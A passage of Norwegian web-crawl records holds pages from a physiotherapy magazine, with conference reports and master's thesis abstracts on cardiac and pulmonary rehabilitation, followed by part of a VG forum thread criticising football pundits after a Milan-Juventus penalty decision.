spesifikke temaer som for eksempel under forebygging: fedme, hypertensjon, diabetes, lipid disorders, r\u00f8yking, psykososiale faktorer, CAD, hjertesvikt, klaffelidelser, sudden death, athletes heart og helse\u00f8konomi. Italia er langt fremme i screening av idrettsut\u00f8vere og kongressen startet med Master Class forelesninger om dette temaet. Forelesningene tok for seg testing, evaluering av tester og inkludering av tester i en kontekst av kliniske og elektrografiske data. Flere av sesjonene p\u00e5 kongressen var spesielt klinisk rettet og fysioterapirelevante. Blant annet en sesjon om klaffelidelser og oppf\u00f8lging av klaffeopererte pasienter. Diskusjonen i etterkant var veldig nyttig for fysioterapeuter i klinisk praksis. Flere sesjoner hadde fokus p\u00e5 testing av fysisk kapasitet, fysisk aktivitet og styrke. Styrke for hjertepasienter har mer fokus enn tidligere p\u00e5 grunn av den betydning styrke kan ha for fysisk kapasitet. P\u00e5 kongressens siste dag var det en sesjon om trening som medisin der de fleste foreleserne var fysioterapeuter. Dessverre var det f\u00e5 tilstede p\u00e5 denne sesjonen selv om innleggene viste praktisk eksempel p\u00e5 noe av det som ble etterspurt av de store forskerne i Master Class\\! Vi fikk ogs\u00e5 en bekreftelse p\u00e5 at andre land har samme problem som i alle fall vi i Stavanger. Kun 13 % av PCI pasienter i Italia gjennomf\u00f8rte hjerterehabilitering. Det er frustrerende \u00e5 h\u00f8re i mange sammenhenger at rehabilitering (og til og med trening) er sykepleiernes domene. Innleggene fra sesjonen trening som medisin var et hederlig unntak. Fra Norge var Birgitta Blakstad Nilsson p\u00e5 plass med en poster om styrketrening for CAD-pasienter. Godt jobba\\! Vi trenger presentasjoner av flere norske fysioterapiprosjekter til neste \u00e5r\\! Med program fra 8.30 til to dager p\u00e5 rappen, i en by som Roma, ble det ikke mulig \u00e5 f\u00e5 med seg alt. Vi valgte \u00e5 f\u00f8lge normal arbeidsdag fra 8.30 til og s\u00e5 ford\u00f8ye den nylig ervervede kunnskapen p\u00e5 Romas uterestauranter i sol og 25 graders varme. B\u00e5de EuroPRevent kongresser og Roma kan anbefales. Et godt slag for folkehelsa Har du v\u00e6rt p\u00e5 en spennende kongress/konferanse? Send oss gjerne et referat. Sendes til: 27\n\n28 Aktuelt 4 p\u00e5 Lungerehabiliteringskonferansen Den 9. nasjonale lungerehabiliteringskonferansen ble arrangert p\u00e5 Thon Hotel Gardermoen 18. og 19. mars Les mer p\u00e5 Vi spurte fire glade og forn\u00f8yde deltakere om de kunne dele sine erfaringer med oss. 1. Hvorfor er du p\u00e5 konferanse? 2. Er det nyttig kunnskap for deg? 3. Er det et spesielt foredrag du vil fremheve, og hvorfor? Navn: Peter Johnson Arbeidssted: OUS Ullev\u00e5l 1. Jeg \u00f8nsket \u00e5 dra p\u00e5 konferanse for \u00e5 f\u00e5 med meg hva som skjer i lungerehabiliteringsverdenen. Foruten det tverrfaglige, lungefagspesifikke, er det jo ogs\u00e5 spennende \u00e5 se hva alt dette konferansetumulderet har \u00e5 by p\u00e5. 2. \u00c5 ha kjennskap til det funksjonsmessige spekteret til lungepasienter, fra de akutte til rehabiliteringsklare pasienter, er en forutsetning for \u00e5 sette gode m\u00e5l under behandling uansett fra hvilken side man jobber. Det skaper trygghet hos pasienten n\u00e5r man som fagperson kan vise til god forst\u00e5else for svingninger i sykdomsbildet, som igjen skaper en sterkere allianse og h\u00f8yere kvalitet p\u00e5 behandlingen. \u00c5 f\u00e5 servert denne kunnskapen fra ledende eksperter innen omr\u00e5det, er noe alle helsearbeidere burde f\u00e5 med seg\\! 3. Det blir jo litt som \u00e5 finne den beste druen p\u00e5 en klase, men s\u00e5 er det ogs\u00e5 slik at man bestandig velger \u00e9n drue fremfor en annen. Personlig synes jeg Anders \u00d8strem sitt foredrag; \u00abHva er kravene til akuttkjeden, og er det mulig \u00e5 skreddersy den til individet?\u00bb, var sv\u00e6rt interessant. Jeg velger \u00e5 utheve dette, fordi han ga meg ett innblikk i m\u00f8te med pasientene, og helsesystemet, fra \u00ablegesenter-\u00f8yne\u00bb. Det er interessant \u00e5 h\u00f8re hvordan disse pasientene, som veldig ofte er svingd\u00f8rspasienter, blir ivaretatt i forskjellige ledd av behandlingskjeden, og hva som kan gj\u00f8res for \u00e5 styrke disse leddene. Navn: Stine T Dalane Arbeidssted: Sykehuset Innlandet, Granheim lungesykehus 1. Jeg er p\u00e5 kurs for \u00e5 f\u00e5 oppdatert kunnskap, for \u00e5 f\u00e5 f\u00f8lelsen av \u00e5 v\u00e6re en del av et st\u00f8rre fagfelt, for \u00e5 m\u00f8te gamle og eventuelt nye bekjente, for \u00e5 bli inspirert, f\u00e5 nye ideer og f\u00e5 bekreftelse p\u00e5 at mye av det vi gj\u00f8r er riktig. 2. For meg er det nyttig jo mer klinisk rettet det er. 3. Jeg synes det var interessant \u00e5 h\u00f8re de siste forelesningene ang\u00e5ende kolsbehandlingen; I g\u00e5r - i dag og i morgen; Blir Norge et bedre land for lungesyke? Synd ingen politikere m\u00f8tte opp, men det var interessant \u00e5 h\u00f8re hvordan landet ligger og prioriteringer innen Helse-Norge. Navn: Synn\u00f8ve L\u00f8kvold Holmen Arbeidssted: Moss kommune 1. Jeg deltok p\u00e5 konferansen fordi jeg er med i et nyoppstartet KOLSprosjekt i Moss kommune, og syntes at programmet for konferansen s\u00e5 interessant ut med tanke p\u00e5 det arbeidet jeg skal gj\u00f8re i prosjektet. 2. Det har v\u00e6rt og kommer til \u00e5 bli veldig nyttig kunnskap for meg. Noe er en bekreftelse p\u00e5 det jeg allerede jobber med, samtidig som jeg har f\u00e5tt nyttige tips for eksempel til lungetrimgruppen jeg driver. 3. Jeg vil fremheve aktivitet og trening, som ga meg en del tips til min egen lungetrimgruppe, med tanke p\u00e5 hvordan jeg er som terapeut. Jeg synes ogs\u00e5 det var flott \u00e5 h\u00f8re p\u00e5 Barbro Holm Ivarsson snakke om r\u00f8ykeslutt. Hun ga meg mer forst\u00e5else rundt emnet, og hvordan man kan pr\u00f8ve \u00e5 motivere for r\u00f8ykeslutt. 28\n\n29 Aktuelt fortsetter 4 p\u00e5 Lungerehabiliteringskonferansen Navn: Sue Maun Arbeidssted: SUS, Dalane Distriktsmedisinske Senter, Egersund 1. Jeg er p\u00e5 konferanse for \u00e5 oppdatere meg innen effektiv behandling for lungepasienter som jeg behandler daglig p\u00e5 rehabiliteringssengepost, poliklinikk, KOLS-koffert, KOLS mestringskurs, og ambulant i hjemmet. Selv om det er fysioterapi jeg ut\u00f8ver m\u00e5 jeg ogs\u00e5 v\u00e6re oppdatert om alle aspekter ved sjukdommen. Alt spiller inn n\u00e5r det gjelder trening og helhetlig rehabilitering av lungepasienter. Jeg er ogs\u00e5 her for \u00e5 presentere fysioterapibehandlingsdelen i KOLS-koffert prosjektet ved Dalane DMS. For mer informasjon om KOLS-kofferten se v\u00e5r informasjonsvideo p\u00e5 youtube: 2. Jeg er veldig opptatt av helhetlige pasientforl\u00f8p for KOLS-pasienter, og hvordan dette best kan effektiviseres. Jeg har en fot i begge forvaltningsniv\u00e5, b\u00e5de som fysioterapeut p\u00e5 rehabiliteringsavd/kols-koffert (spesialisthelsetjenesten) og som privatpraktiserende fysioterapeut med KOLS-grupper (prim\u00e6rhelsetjenesten). \u00c5 f\u00e5 nye impulser og ideer om hvordan ting kan fungere fra andre deler av Norge er veldig nyttig for meg. En inspirasjon til \u00e5 fornye seg. \u00c5 h\u00f8re p\u00e5 og samtale med fagpersoner gir mye kunnskap som man kan dra nytte av i hverdagen ved behandling av lungepasienter. Det er ogs\u00e5 nyttig \u00e5 repetere/f\u00e5 ny informasjon om bruk av medisiner og ulike m\u00e5leapparater ved \u00e5 bes\u00f8ke de ulike standsene. Presentasjonen av CAT (COPD Assessment Test) med norsk test var spesielt nyttig. 3. Jeg vil fremheve to ulike foredrag som gav meg mye p\u00e5 forskjellig m\u00e5te: Hot topics in Pulmonary Rehabilitation - where are we now and where should we go ved Michael Steiner,. Han ga et omfattende overblikk, inklusiv gode henvisninger til litteraturen om alt fra effekten av trening, palliasjon, utvikling av personlig terapi, effektiv intervensjon og case bundles til m\u00e5ling av kompetanse hos pasienten for \u00e5 klare self management. R\u00f8ykeslutt ved Barbro Holm Ivarsson. Et inspirerende foredrag om adferdsendring som kan brukes i daglig praksis. Foredragsholderen viste ulike m\u00e5ter \u00e5 motivere. Hvordan vi klarer \u00e5 motivere v\u00e5re pasienter utgj\u00f8r mer enn halvparten av fysioterapijobben. P\u00e5 hvilken m\u00e5te kan vi sette realistiske, felles m\u00e5l med pasienten og hjelpe frem pasientens egne mestringsstrategier, samt sidestille bruker- og spesialistkunnskap for \u00e5 best takle kronisk sykdom? Dette fikk meg til \u00e5 reflektere over hvordan jeg kommuniserer med pasienter, individuelt og i grupper, og hvilke strategier som kan v\u00e6re effektive \u00e5 fremme adferdsendring. 29\n\n30 Referat \u00c5rets fagseminar, NFFs faggruppe for hjerte og lungefysioterapi: Bergen 11. og 12.februar 2013 Av: Hilde Nesengen Spesialifysioterapeut Sykehuset i \u00d8stfold \u00c5rets seminar i Faggruppen for Hjerte- og Lungefysioterapi var lagt til Bergen, mandag 11. og tirsdag 12. februar. H\u00f8yskolen i Bergen stilte med fine lokaler. Det var en liten labyrint \u00e5 finne fram til auditoriet Amfi, men styret hadde v\u00e6rt tidlig ute og skiltet godt. Det var 68 p\u00e5meldte fysioterapeuter til seminaret. Vi var ogs\u00e5 noe over 40 personer som deltok p\u00e5 felles middag med underholdning mandag kveld. Noe lav oppslutning om \u00c5rsm\u00f8tet mandag ble kommentert, da med en oppfordring til at flere b\u00f8r prioritere dette til neste \u00e5r. Tiln\u00e6rmingen kan brukes enten hjemme eller p\u00e5 sykehus, til for eksempel pasienter som kanskje ikke klarer \u00e5 bruke PEP. Det var ogs\u00e5 nyttig \u00e5 f\u00e5 med seg at det n\u00e5 er kom- met en ny hostemaskin p\u00e5 markedet, samme produsent som den gamle hostemaskinen. Nye praktiske funksjoner er trigging (starter insuflasjon n\u00e5r pasienten trigger), mulighet for oscillering og direkte avlesning av PCF (Peak Cough Flow) ved hvert host. Bente Frisk (Fysioterapeut, Ph.d.-stud HiB / UiB) hadde en kort presentasjon av de nye Nasjonale retningslinjene for KOLS. De kan lastes ned p\u00e5 Helsedirektoratet sine nettsider. Faglig innhold Styret hadde i \u00e5r jobbet med \u00e5 f\u00e5 til et seminar med noe mer dreining mot lungefysioterapi, da det har v\u00e6rt kommentert i evalueringer fra tidigere \u00e5r at dette var \u00f8nskelig. Man hadde benyttet seg mye av lokale ressurser, med overvekt av forelesere tilknyttet Haukeland Universitetssykehus, H\u00f8yskolen i Bergen og Universitetet i Bergen. Kvaliteten p\u00e5 forelesere var gjennomg\u00e5ende veldig bra. Mandag startet Jon Hardie (Lungelege, HUS / UiB) med en forelesning om tolkning av resultater av ergospirometri. Disse testene kan benyttes som hjelp i diagnostikk (hvorfor har pasienten dyspnoe?), vurdering av arbeidskapasitet, utholdenhetstesting eller prediktiv risiko f\u00f8r kirurgi. Her er det mye informasjon \u00e5 hente ut, viktig \u00e5 vite hva man ser etter. Tiina Andersen (Fysioterapeut, MSC, HUS) hadde et praktisk foredrag om bruk av CPAP, BiPAP og hostemaskin i lungefysioterapi. Tips til hvordan man kan tilpasse et eget lungefysioprogram p\u00e5 CPAP eller BiPAP var nyttig \u00e5 f\u00e5 med seg. Fellesnevner er at man hever EPAP-trykk eller PEEP for \u00e5 f\u00e5 en h\u00f8yere FRC hos pasienten. Dette kan b\u00e5de v\u00e6re sekretmobiliserende og forebygge /heve atelektaser. Relativt kort behandlingstid (10 20 min eller 10 pust x 3 som ved bruk av mini- PEP), gjerne i kombinasjon med drenasjestillinger anbefales, etterfulgt av teknikker for hoste/sekretfjerning n\u00e5r masken tas av. Stian Hammer (Fysioterapeut, MSC-stud, HUS) presenterte sin masteroppgave som omhandlet bruk av hypertont saltvann i lungedrenasje til pasienter med CF, ikke-cfbronkiectasi og akutt bronkiolitt. Hovedresultater er at det tolereres godt hos disse pasientene. Gi gjerne beta2-agonist p\u00e5 spray eller kolbe f\u00f8r behandling. Ved gjentatt fall i FEV1% p\u00e5 mer enn 15% skal man ikke fortsette denne behandlingen. Kari Nytr\u00f8en (Fysioterapeut, Ph.d.-stud, OUS RH) presenterte spennende resultater fra sin studie av intervalltrening (4 x 4 modellen) for hjertetransplanterte. Treningsformen gav gode resultater p\u00e5 fysisk form og styrke, tolerertes godt, og resultater tyder p\u00e5 at denne formen for trening kan v\u00e6re med p\u00e5 \u00e5 bremse utviklingen av CAV (Cardiac Allograft Vasculo -pathy), som er en alvorlig komplikasjon etter hjertetransplantasjon. Linda Aar\u00f8en Lien (Fysioterapeut) hadde et fritt foredrag om prosjektet Telemedisin og KOLS- rehabilitering i Nord-Norge, som forel\u00f8pig er i pilotfasen. Dette vil vi forh\u00e5pentligvis f\u00e5 h\u00f8re mer om senere. Mandagens program ble avsluttet av Invard Wilhelmsen (Lege, Professor, UiB) som gav oss noen humoristiske betraktninger p\u00e5 hvordan man kan m\u00f8te hypokonderen, b\u00e5de i seg selv og hos pasientene v\u00e5re. 30\n\n34 Sammendrag mastergrad Endringer i submaksimal utholdenhet, ventilatoriske forhold og helserelatert livskvalitet etter fire ukers lungerehabilitering ved LHL Helse Skibotn Rehabilitering - En kvalitetssikringsstudie Forfatter: Hanne Hoaas Arbeidssted: LHL Helse Skibotn Rehabilitering Studiested: Klinisk fysioterapi, fordypning hjerte- og lungefysioterapi, H\u00f8gskolen i Bergen Veileder: Ola Drange R\u00f8ksund e-post: Bakgrunn: Kronisk obstruktiv lungesykdom (KOLS) er en progredierende og utbredt sykdom som har stor innvirkning p\u00e5 livskvaliteten til den enkelte. Blant hovedsymptomene er nedsatt fysisk kapasitet med dyspn\u00e9 og/eller muskeltretthet i beina. Lungerehabilitering med trening og veiledning i mestringsstrategier kan bedre fysisk kapasitet og helserelatert livskvalitet. Hensikt: \u00c5 unders\u00f8ke om 4 ukers lungerehabilitering gir bedring i utholdenhet, ventilatoriske forhold og helserelatert livskvalitet hos pasienter med KOLS. Metode: Studien er en test-retest studie av gjennomf\u00f8rt 4 ukers gruppebasert lungerehabilitering ved Skibotn Rehabilitering. Kurset besto av undervisning, veiledning og trening, b\u00e5de i gruppe og individuelt. Ergospirometri ble brukt for \u00e5 m\u00e5le endringer i utholdenhetstid, samt fysiologiske responser som inspirasjonskapasitet, ventilasjon og hjertefrekvens under utholdenhetstest p\u00e5 85 % av maksimal kapasitet. Andre utfallsm\u00e5l var 6 minutters gangtest (6MGT) og KOLSvurderingstest (CAT-test). Pasientene ble ogs\u00e5 bedt om \u00e5 angi sitt helhetlige inntrykk av endring p\u00e5 Patients global impression of change-scale (PGIC). Resultat: 11 av 14 inkluderte pasienter fullf\u00f8rte studien. En signifikant og klinisk betydningsfull forbedring i utholdenhet ble funnet for b\u00e5de utholdenhetstest (p=0,005) og p\u00e5 6MGT (p=0,001). Varighet p\u00e5 utholdenhetstest \u00f8kte med 345 sek. (64 %). Sju av elleve (64 %) fikk en klinisk betydningsfull \u00f8kning. Utvalget \u00f8kte 6MGT med 67 meter. Signifikant bedring ble observert for hjertefrekvens, ventilasjon, oksygensaturasjon og dyspn\u00e9 ved isotime. Inspirasjonskapasitet forble uendret. En klinisk, men ikke signifikant bedring i helserelatert livskvalitet ble funnet ved CAT-test. Utvalget oppgav en signifikant og gunstig endring p\u00e5 PGIC- scale. Det ble funnet en negativ sammenheng mellom endret utholdenhetstid og selvopplevd endring. Konklusjon: Fire ukers gruppebasert lungerehabilitering genererte positive helseeffekter som \u00f8kt submaksimal utholdenhet og bedrede ventilatoriske forhold. Selv en liten endring i submaksimal utholdenhet gav en stor opplevelse av endring. Vi fant ikke en klar bedring i helserelatert livskvalitet. Sammendrag i Hjertesukket I hver utgave av Hjertesukket \u00f8nsker vi \u00e5 synliggj\u00f8re noe av det flotte og spennende arbeidet som gj\u00f8res av fysioterapeuter rundt omkring i Norges land. Vi oppfordrer derfor mastergradsstudenter til \u00e5 sende inn sine sammendrag etter endt studie. I tillegg \u00f8nsker vi \u00e5 trykke relevante sammendrag som er presentert p\u00e5 nasjonale eller internasjonale kongresser. Har du et sammendrag som du kan tenke deg \u00e5 dele med v\u00e5re medlemmer? Send en kopi til Hjertesukket: 34\n\n35 Sammendrag mastergrad S\u00e5 deilig n\u00e5r slimet er vekke Erfaringer og kommunikasjon i lungefysioterapi for personer med Multippel Sclerose Forfatter: Gro Sverdrup Kleppest\u00f8, Arbeidssted: Stavanger kommune/privat praksis Studiested: Klinisk fysioterapi, fordypning hjerte- og lungefysioterapi, H\u00f8gskolen i Bergen Veileder: Eline Thornquist e-post: Hensikten med studien var \u00e5 f\u00e5 innsikt i erfaringer pasienter med langtkommet MS gjorde seg med lave lungevolum, slim i lungene og med fysioterapibehandling. Svekkelse i respirasjonsmuskulaturen og redusert bevegelighet i brystkassen f\u00f8rer til at pasienter med langtkommet MS st\u00e5r i fare for sekretopphoping i lungene og \u00f8kt risiko for infeksjoner. Lungefysioterapi kan bedre respirasjonsmuskelstyrke, thoraxbevegelighet, lungevolumer og hostekraft, som igjen kan s\u00f8rge for slimmobilisering. I tillegg ville jeg se p\u00e5 hvilken mening og forst\u00e5else som kunne tillegges signaler og reaksjoner som oppsto i samhandling mellom personer som har nedsatt spr\u00e5klig kommunikasjonsevne og fysioterapeuter. Kroppslig kommunikasjon er en vesentlig del av fysioterapeuters evalueringsverkt\u00f8y og ligger til grunn for individuell tilpasning av behandling. Observasjon med filming av fire MS pasienter i behandling hos fire fysioterapeuter var bakgrunn for intervjuer med pasientene i etterkant. Dette store r\u00e5materialet ga innsikt i pasienterfaringer og fysioterapipraksis som ble analysert med bakgrunn i fenomenologisk/hermeneutisk forst\u00e5elsesmodell. Presentasjon av empirien inneholder utstrakt bruk av beskrivelser fra observasjonene, og noe mindre fra intervjuene. Nedsatt spr\u00e5klig kommunikasjonsevne hos informantene f\u00f8rte til at intervjumaterialet var sparsomt, mens observasjonene var av uvurderlig nytte for utfyllende forst\u00e5else. Tekstn\u00e6re kommentarer er knyttet til beskrivelsene, mens de i analyse og dr\u00f8ftingsdelen er fors\u00f8kt l\u00f8ftet til et h\u00f8yere teoretisk niv\u00e5 med kroppsfenomenologi, naturvitenskap og teori om kommunikasjon som bakgrunn. Pasientene var generelt lite opptatt av egen pust og lungefunksjon, og skilte ikke mellom vanlig fysioterapi og lungefysioterapi. De var heller ikke engstelige for at mye slim skulle hindre dem i \u00e5 f\u00e5 puste, selv om de registrerte at det var lettere og bedre \u00e5 puste etter at slimet var fjernet. Ingen av informantene husket behandling med intensiv lungefysioterapi fra de periodene de var innlagt p\u00e5 sykehus. Forstyrrende elementer i behandlingssituasjonen p\u00e5virket hvor fysioterapeutene hadde sin oppmerksomhet og deres sensitivitet overfor kroppslig kommunikasjon som blikk og pust. Det kunne f\u00f8re til misforst\u00e5elser og gi mindre rom for individuell tilpasning og forst\u00e5else av hvordan fysioterapi p\u00e5virker mennesker som ellers har begrenset spr\u00e5klig kommunikasjonsevne. Studien viser at en erfaringsn\u00e6r tiln\u00e6rming kan gi uvurderlig informasjon fra fysioterapipraksis og samtidig belyse pasientenes mulighet til aktiv medvirkning. Det er n\u00f8dvendig med adekvat faglig kompetanse for \u00e5 im\u00f8tekomme stadig st\u00f8rre utfordringer med alvorlig syke pasienter i f\u00f8rstelinjetjenesten. N\u00f8kkelord: Fysioterapi, lungefysioterapi, multippel sclerose, kommunikasjon, pasienterfaring, individualisering. 35\n\n36 Sammendrag mastergrad Praktisk implementering av inhalasjon med hypertont saltvann som integrert del av lungefysioterapi for pasienter med cystisk fibrose. Forfatter: Stian Hammer Arbeidssted: Haukeland universitetssykehus (Barneklinikken/Lungeavdelingen) Studiested: Klinisk fysioterapi, fordypning hjerte- og lungefysioterapi, H\u00f8gskolen i Bergen Veileder: Ola Drange R\u00f8ksund og Birger N. L\u00e6rum e-post: Bakgrunn: Lungefysioterapi er hj\u00f8rnesteinsbehandling for pasienter med cystisk fibrose (CF), en kronisk progredierende sykdom som medf\u00f8rer seigere slim, \u00f8kt infeksjonsfare, inflammasjon og skader p\u00e5 lungevevet. Inhalasjon med hypertont saltvann (HS) er en veldokumentert behandling som fremmer slimtransport. Dokumentasjon p\u00e5 dosering av volum og praktisk behandlingsutf\u00f8relse inkludert lungefysioterapi er mangelfull.vi \u00f8nsket \u00e5 f\u00e5 erfaring med HS kombinert med effektiv daglig inhalasjon og sekretmobiliserende behandling. M\u00e5l: Unders\u00f8ke om ny utpr\u00f8ving- og behandlingsprotokoll for hypertont saltvann kombinert med individuelt tilpasset daglig lungefysioterapi er et egnet verkt\u00f8y for \u00e5 sikre en trygg og effektiv hjemmebehandling ved CF. Design: Case serie, pilotstudie basert p\u00e5 kvasi eksperimentell design. Metode: CF pasienter som ikke tidligere hadde brukt HS ble invitert. Toleranse og effektivitet av HS og standardisert lungefysioterapi behandling ble unders\u00f8kt ut fra lungefunksjon, slimmengde m\u00e5l, VAS-tilfredshet, antibiotika og registrert tidsbruk p\u00e5 daglig behandling % HS ble pr\u00f8vd ut ved 1.kontoll, 5.85 % HS ved 2.kontroll en uke senere, 3.kontroll ble utf\u00f8rt 5 uker etter oppstart, og 4.kontroll 12 uker etter oppstart. F\u00f8lgende HS volum ble benyttet: 1.5 ml i 3 posisjoner (4.5 ml), morgen og kveld for barn 0-5 \u00e5r. 2 ml i 3 posisjoner (6 ml), morgen og kveld for barn 6-15 \u00e5r 3 ml i 3 posisjoner (9 ml), morgen og kveld for pasienter over 16 \u00e5r. Pasientene utf\u00f8rte standardisert HS- og lungefysioterapi behandlinger hjemme. Volumene ble inhalert i sittende, h\u00f8yre sideleie og tilslutt i venstre sideleie. Pustem\u00f8nster best\u00e5ende av 5 rolige tidevolum pust, etterfulgt av en dypere rolig innpust og slutt inspiratorisk hold ble vektlagt. Etter 6 slike pustesykluser, ble det lagt inn pause, der hosteteknikk ble utf\u00f8rt. Basert p\u00e5 de samlete resultatene ble det ved 4.kontroll bestemt videre individuelt tilpasset hjemmebehandling. En 5.kontroll ble utf\u00f8rt m\u00e5neder etter oppstart med HS. Resultat: 7 personer gjennomf\u00f8rte denne pilot studien med gjennomsnittlig oppf\u00f8lgingstid p\u00e5 89.3 uker. Samtlige pasienter tolererte begge konsentrasjonene med HS, og fortsatte derfor med 5.85 % og \u00f8vrig standardisert volum og behandlingsutf\u00f8relse. I forl\u00f8pet av studien fant vi en trend til bedret lungefunksjon, f\u00e6rre antibiotikakurer og \u00f8kt slimfjerning. Tilfredshet med behandling steg til tross for \u00f8kt tidsbruk p\u00e5 daglig behandling. Konklusjon: Standardisert HS inhalasjon med relativt h\u00f8ye volum i 3 posisjoner integrert med strukturert lungefysioterapi ble godt tolerert og viste en trend p\u00e5 klinisk bedring Utarbeidet protokoll fungerte som et nyttig verkt\u00f8y for \u00e5 sikre en trygg og effektiv daglig behandling for CF pasientene. 36\n\n38 Sammendrag mastergrad SAMMENDRAG Bakgrunn Denne studien handler om pasienter i Norsk psykomotorisk fysioterapibehandling. M\u00e5let med studien er \u00e5 unders\u00f8ke hvordan kontakt med egen kropp har endret seg gjennom behandlingsforl\u00f8pet, og hvilken betydning disse endringene har hatt. Hensikten med dette er \u00e5 bidra med \u00e5 utforske elementer av den psykomotoriske behandlingsformen, da dette er et fagfelt det er utf\u00f8rt relativt lite forskning p\u00e5. Metode Dette er en kvalitativ studie. Semistrukturerte dybdeintervju er benyttet som datainnsamlingsmetode. Tre pasienter som var henvist til psykomotorisk fysioterapi grunnet muskelskjelettlidelser ble inkludert i studien. Datamaterialet ble analysert ved hjelp av systematisk tekstkondensering som analysemetode. Resultater Analysen har f\u00f8rt frem til tre hovedtemaer, med undertemaer som beskriver og nyanserer innholdet. Disse er: 1. Opplevelser av egen kropp. Undertemaer: Nye og tydeligere kroppslige opplevelser, Totalopplevelser mer enn kroppslig opplevelse, og \u00c5 gi kroppen oppmerksomhet. 2. Meningsdannelse. Undertemaer: \u00c5 forst\u00e5 smerte i nye meningssammenhenger og Forst\u00e5 seg selv gjennom refleksjon over kroppens uttrykk 3. Mestring og ansvar. Undertemaer: Mestring av egne plager og Innsikt ansvar og utfordringer. Konklusjon Resultatene viser at informantene opplever \u00f8kt kontakt med egen kropp etter \u00e5 ha begynt i psykomotorisk fysioterapi. Denne endringen har bidratt til \u00e5 bli kjent med sine kroppslige reaksjonsm\u00e5ter, til \u00e5 reflektere over og forst\u00e5 sine reaksjoner, og til \u00e5 mestre sine kroppslige plager og vanskelige situasjoner de opplever i dagliglivet. Disse endringene har videre bidratt til at informantene opplever \u00f8kt ansvar for egen helse. N\u00f8kkelord: Psykomotorisk fysioterapi, kontakt med egen kropp, opplevelse, endring, refleksjon, forst\u00e5else, mening, mestring, ansvar. Omstilling som et profesjonsspesifikt begrep og fenomen i Norsk Psykomotorisk Fysioterapi (PMF). Forfatter: Jahn Gustav Johansen Arbeidssted: Privat praksis, Landfall\u00f8ya legesenter i Drammen Studiested: Mastergrad i helsefag, studieretning psykiatrisk og psykosomatisk fysioterapi, Universitetet i Troms\u00f8 Veileder: M\u00e5lfrid R\u00e5heim e-post: PROBLEMSTILLING: Hvilke betydninger tillegger praktiserende psykomotoriske fysioterapeuter begrepet og fenomenet oppstilling, slik de beskriver det? Sammendrag 6 Psykomotoriske fysioterapeuter med bred og variert klinisk bakgrunn, hovedsakelig fra feltet psykiatri, deltok i et fokusgruppeintervju i hensikt av \u00e5 besvare problemstillingen i denne studien. Deltakerne beskrev omstilling som begrep og fenomen i Norsk Psykomotorisk fysioterapi som sentralt, komplekst og multifasettert, og i stor grad p\u00e5 en sammenfallende m\u00e5te sett opp mot PMF-litteratur av grunnleggere og etterf\u00f8lgere av denne behandlingstradisjonen. Likevel ble begrepet utvidet, sett i lys av praksis i psykiatri. Deltakerne gav dessuten ofte bidrag som knyttet omstilling til psykoterapeutiske begreper. Utviklede temaer fra datamaterialet ble diskutert opp mot tradisjonell PMF-litteratur, kroppsfenomenologi og intersubjektivitet forst\u00e5tt i et kroppsfenomenologisk lys. Basert p\u00e5 diskusjonen, vil jeg hevde at det sentrale og multifasetterte begrepet og fenomenet omstilling med fordel kan forst\u00e5s p\u00e5 en utvidet m\u00e5te ved \u00e5 bygge bro mellom teoretiske perspektiver som kan komplimentere hverandre. 38\n\n", "language": "no", "__index_level_0__": "19f5b1fc-299c-4434-b184-d5c02c842296"}
{"url": "http://vgd.no/sport/fotball-internasjonal/tema/1836938/tittel/norske-fotballeksperters-kredibilitet", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00353.warc.gz", "warc_date": "2018-03-24T23:41:19Z", "text": "12.03.17 14:13\n\nEt stadig tilbakevendende tema. En yrkesgruppe der arbeidsoppgavene best\u00e5r av \u00e5 sitte i et tv-studio og fjase med gamle venner. De fleste har f\u00e5tt jobben i kraft av \u00e5 ha v\u00e6rt fotballspiller tidligere, men det er vel tvilsomt at disse menneskene bruker s\u00e6rlig mye mer tid p\u00e5 fotball enn helt vanlige fans. I utgangspunktet har ikke denne yrkesgruppen mer kredibilitet enn en rosabloggere i mine \u00f8yne. Men nok om det.\n\nSjekket twitterkontoen til Morten Langli i dag, hvor han etter Milan - Juventus skriver ting som:\n\n*\"Korrupsjon? Kjenner jeg blir forbanna.\"*\n\nog\n\n*\"Dummeste jeg har sett. Orker ikke se p\u00e5 s\u00e5nt. Italiensk ball er ferdig.\"*\n\nDette alts\u00e5 etter en tvilsom straffeavgj\u00f8relse. Slike uttalelser er ikke bare kunnskapsl\u00f8se og trangsynte, men ogs\u00e5 direkte \u00f8deleggende for fotballen. B\u00f8r vi ikke forvente litt mer nyanserte meninger av en som faktisk lever av \u00e5 v\u00e6re fotballekspert? Eller har det virkelig g\u00e5tt s\u00e5 langt at dette er et akseptabelt niv\u00e5 for en som tjener en god \u00e5rsl\u00f8nn p\u00e5\u00a0\u00e5 snakke om fotball?\n\n12.03.17 14:52\n\nUtmattende sendeflatefyll. Kan ikke huske sist jeg s\u00e5 en studiosending i forbindelse med en fotballkamp.\u00a0Jeg foretrekker heller de fem-seks reklamepausene man presser inn f\u00f8r avspark.\n\n12.03.17 15:03\n\n\nNoe som er veldig synd. Jeg mener diskusjon f\u00f8r og etter kamper er en viktig del av fotballen, men med dagens niv\u00e5 p\u00e5 diskusjonene er det egentlig mest skadelig.\n\n12.03.17 16:08\n\nI dette konkrete tilfelle er jeg helt enig med tr\u00e5dstarter. Det er en \u00e6rlig feilaktig avgj\u00f8relse i en situasjon som skjer raskt. \u00a0  \n  \nJeg er 100 % enig i at det ikke er straffe, men:  \n  \n\\- Ball ser ut som den treffer arm.  \n\\- H\u00e5nd er litt ut fra kroppen.  \n  \nDette gj\u00f8r nok at dommerne mener at det er straffbar hands.\u00a0  \n  \nDog, avstand, ball s\u00f8ker arm, ingen spesielt unaturlig posisjon for h\u00e5nd basert p\u00e5 hvordan bevegelsen til spilleren var. Dette gj\u00f8r at det ikke burde v\u00e6rt \u00a0straffe etter min mening.\u00a0  \n  \nMen vi har da sett mange verre avgj\u00f8relser.\u00a0  \n  \nDenne blir bare sv\u00e6rt kampavgj\u00f8rende.\u00a0  \n  \nD\u00e5rlig d\u00f8mt, ferdig snakket. Trenger ikke rope noe mer om dette.\u00a0\n\n12.03.17 16:39\n\n   \n\n12.03.17 17:37\n\n**SlimWhitman**: Det begynner vel \u00e5 bli litt vel mange \"enkelthendelser\" n\u00e5 som g\u00e5r i fav\u00f8r Juventus til at det kan v\u00e6re en tilfeldighet.\n\nDenne gangen var det en straffe, noe Juventus ikke har hatt s\u00e5 veldig mye av denne sesongen. Men legg merke til dommeravgj\u00f8relser ellers i kamper og ikke minst, legg merke til hvor mange 